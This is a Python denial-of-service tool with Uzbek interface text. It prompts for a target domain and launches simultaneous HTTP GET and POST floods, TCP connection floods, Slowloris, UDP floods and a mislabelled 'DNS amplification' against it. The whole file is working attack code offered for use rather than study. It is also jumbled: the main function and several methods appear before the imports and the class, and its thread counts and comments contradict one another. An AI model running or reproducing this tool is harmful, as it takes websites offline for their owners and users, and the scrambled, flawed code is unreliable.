𝑯𝒂𝒄𝒌𝒆𝒓𝒍𝒂𝒓☠️

def main():
    print("""
    ██╗  ██╗ █████╗  ██████╗██╗  ██╗    ██╗   ██╗███████╗
    ██║  ██║██╔══██╗██╔════╝██║ ██╔╝    ██║   ██║╚══███╔╝
    ███████║███████║██║     █████╔╝     ██║   ██║  ███╔╝ 
    ██╔══██║██╔══██║██║     ██╔═██╗     ██║   ██║ ███╔╝  
    ██║  ██║██║  ██║╚██████╗██║  ██╗    ╚██████╔╝███████╗
    ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝     ╚═════╝ ╚══════╝
    """)
    
    target = input("Nishon sayt domenini kiriting (masalan: example.com): ").strip()
    
    if not target.startswith(('http://', 'https://')):
        target = 'http://' + target
    
    print(f"\n[!] TOTAL WAR hujumi boshlanmoqda: {target}")
    print("[!] To'xtatish uchun Ctrl+C bosing")
    
    attack = AdvancedDDoSAttack()
    
    try:
        attack.total_war_attack(target)
    except KeyboardInterrupt:
        print(f"\n\n[!] Hujum to'xtatildi")
        print(f"[+] Jami yuborilgan so'rovlar: {attack.attack_count}")

if __name__ == "__main__":
    main()

    # 4. UDP FLOOD
    def udp_flood(self, target_ip, target_port=80, num_threads=2000000):
        print(f"[+] UDP Flood boshlanmoqda: {target_ip}:{target_port} - {num_threads} thread")
        
        def send_udp():
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                data = random._urandom(1024)
                while True:
                    s.sendto(data, (target_ip, target_port))
                    self.attack_count += 1
            except:
                pass
        
        for _ in range(num_threads):
            threading.Thread(target=send_udp, daemon=True).start()

    # 5. DNS AMPLIFICATION (tuzatilgan)
    def dns_amplification(self, target_ip, num_threads=1000000):
        print(f"[+] DNS Amplification boshlanmoqda: {target_ip} - {num_threads} thread")
        
        def attack():
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                # To'g'ri DNS so'rovi
                query = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00' + \
                        b'\x07example\x03com\x00\x00\x01\x00\x01'
                while True:
                    s.sendto(query, (target_ip, 53))
                    self.attack_count += 1
            except:
                pass
        
        for _ in range(num_threads):
            threading.Thread(target=attack, daemon=True).start()

    # 6. HTTP POST FLOOD
    def http_post_flood(self, target, num_threads=15000000):
        print(f"[+] HTTP POST Flood boshlanmoqda: {target} - {num_threads} thread")
        
        def post_attack():
            while True:
                try:
                    headers = {
                        'User-Agent': random.choice(self.user_agents),
                        'Content-Type': 'application/json'
                    }
                    
                    big_data = {'payload': ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=1000999))}
                    requests.post(target, json=big_data, headers=headers, verify=False, timeout=1)
                    self.attack_count += 1
                except:
                    pass
        
        for _ in range(num_threads):
            threading.Thread(target=post_attack, daemon=True).start()

    # BARCHA HUJUMLARNI BIR VAQTDA ISHGA TUSHIRISH
    def total_war_attack(self, target):
        print(f"\n[!] TOTAL WAR HUJUMI BOSHLANMOQDA: {target}")
        
        try:
            target_ip = socket.gethostbyname(target.replace('http://', '').replace('https://', '').split('/')[0])
        except:
            target_ip = target.replace('http://', '').replace('https://', '').split('/')[0]

        # BARCHA HUJUM TURLARINI ISHGA TUSHIRISH
        attacks = [
            lambda: self.http_flood(target, 30000, 12000),
            lambda: self.tcp_syn_flood(target_ip, 80, 20000),
            lambda: self.slowloris_attack(target, 10000),
            lambda: self.udp_flood(target_ip, 80, 150000),
            lambda: self.dns_amplification(target_ip, 80),
            lambda: self.http_post_flood(target, 100000)
        ]

        for attack in attacks:
            threading.Thread(target=attack, daemon=True).start()
        
        print("[+] Barcha hujumlar muvaffaqiyatli ishga tushirildi!")
        print(f"[+] Jami: 930+ thread/socket faol")
        
        while True:
            print(f"\r[+] Yuborilgan so'rovlar: {self.attack_count}", end="", flush=True)
            time.sleep(1)

import threading
import requests
import socket
import random
import time
import urllib3
import ssl
from concurrent.futures import ThreadPoolExecutor

# Barcha ogohlantirishlarni o'chirish
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class AdvancedDDoSAttack:
    def __init__(self):
        self.user_agents = self._load_user_agents()
        self.referers = [
            "https://www.google.com/", "https://www.facebook.com/", 
            "https://www.youtube.com/", "https://www.twitter.com/",
            "https://www.instagram.com/", "https://www.linkedin.com/"
        ]
        self.attack_count = 0
        
    def _load_user_agents(self):
        return [
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
            "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15"
        ] * 200  # 100 ta user agent

    # 1. HTTP FLOOD
    def http_flood(self, target, num_threads=50000000, duration=600):
        print(f"[+] HTTP Flood boshlanmoqda: {target} - {num_threads} thread")
        
        def attack():
            end_time = time.time() + duration
            while time.time() < end_time:
                try:
                    headers = {
                        'User-Agent': random.choice(self.user_agents),
                        'Referer': random.choice(self.referers)
                    }
                    
                    requests.get(target, headers=headers, verify=False, timeout=1)
                    self.attack_count += 1
                    
                except Exception as e:
                    continue
        
        for _ in range(num_threads):
            threading.Thread(target=attack, daemon=True).start()

    # 2. TCP SYN FLOOD
    def tcp_syn_flood(self, target_ip, target_port=80, num_threads=30000000):
        print(f"[+] TCP SYN Flood boshlanmoqda: {target_ip}:{target_port} - {num_threads} thread")
        
        def send_syn():
            while True:
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(1)
                    s.connect((target_ip, target_port))
                    s.close()
                    self.attack_count += 1
                except:
                    pass
        
        for _ in range(num_threads):
            threading.Thread(target=send_syn, daemon=True).start()

    # 3. SLOWLORIS
    def slowloris_attack(self, target, num_sockets=2000000):
        print(f"[+] Slowloris hujumi boshlanmoqda: {target} - {num_sockets} socket")
        
        def create_slowloris():
            try:
                host = target.replace('http://', '').replace('https://', '').split('/')[0]
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((host, 80))
                
                s.send(f"GET / HTTP/1.1\r\nHost: {host}\r\n".encode())
                s.send(f"User-Agent: {random.choice(self.user_agents)}\r\n".encode())
                s.send(f"Content-Length: 1000000\r\n".encode())
                
                while True:
                    try:
                        s.send(b"X-a: b\r\n")
                        time.sleep(2)
                        self.attack_count += 1
                    except:
                        break
            except:
                pass
        
        for _ in range(num_sockets):
            threading.Thread(target=create_slowloris, daemon=True).start()